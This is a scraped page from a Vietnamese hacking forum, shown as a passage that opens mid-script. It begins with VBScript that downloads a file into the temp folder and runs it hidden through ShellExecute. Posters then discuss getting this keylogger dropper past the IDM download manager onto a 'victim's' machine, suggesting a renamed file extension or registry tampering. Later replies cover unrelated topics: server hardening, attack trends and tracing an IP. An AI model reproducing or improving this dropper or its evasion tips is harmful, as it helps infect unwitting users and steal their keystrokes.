set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder (2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
-----------------------------

Nhưng mình thấy 1 điều rằng nó hoạt động khi không dùng IDM, còn có IDM thì nó hiện bảng download của IDM
Ai có cách nào xin giúp mình
 


Mình chưa từng thử làm kiểu này, bạn thử một số giải pháp này xem sao:
- Đổi đuôi địa chỉ keylogger.exe sang cái đuôi khác *.exe được ko? (.com , .bat v.v..)
- IDM mặc định bắt được link trong một số trình duyệt (IE, Firefox phải có add-on IDM CC), nếu victim của bạn dùng Google Chrome, Safari, Opera, Maxthon v.v.. thì đoạn mã trên vẫn có tác dụng.
- Có cách nào đó can thiệp vào phần mềm IDM để không bắt link trong trình duyệt nào đó, không bắt link trong các địa chỉ site có dạng nào đó, không bắt link dạng đuôi file nào đó? can thiệp bằng registry chăng?
Mình chỉ nghĩ ra một số ý tưởng mở như thế thoai. 


Đọc cái dòng màu đỏ mà buồn cười smilie
1. Bạn kiểm tra lại các services đang hoạt động trên server.
2. Bạn thử quét virus lại một lần xem.
3. Sau khi sửa đổi, bạn thử thiết đặt quyền hạn cho các files đó chỉ có quyền read, không cho phép write thử xem.
Mình nghĩ là tấn công vào:
- Java vì càng ngày nhu cầu người dùng càng hướng đến không phụ thuộc hệ điều hành
- Social Engineering vì thông tin người dùng bây giờ quá nhiều
- Clickjacking vì kiếm tiền trên mạng ngày càng dễ, và cũng dễ dụ người dùng hơn với những quảng cáo kiếm tiền trên mạng.
- Android vì HĐH Android phát triển ngày càng mạnh và được sử dụng trên nhiều thiết bị.
1. Nhờ admin diễn đàn cho IP và thời gian của bài viết đó --> (3)
2. Gởi 1 email đến cho anh ta, chờ anh ta reply lại, xem IP của anh ta --> (3)

3. Nhờ ISP + cơ quan chức năng giải quyết.
1. Mình không nghĩ là virus mà bạn nên check lại xem trong Chrome có plug-ins nào không? Các plug-ins thông thường sẽ tự động làm việc. Và mình kiểm tra một số IP trong hình thì hầu hết là của Google, thường được dùng để hỗ trợ người dùng (như Safe Browsing chẳng hạn)

2. Một số phiên bản Windows như bản Home chẳng hạn thì không hỗ trợ sẵn telnet.
 
Go to Page:  2 3 4 Page 5 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|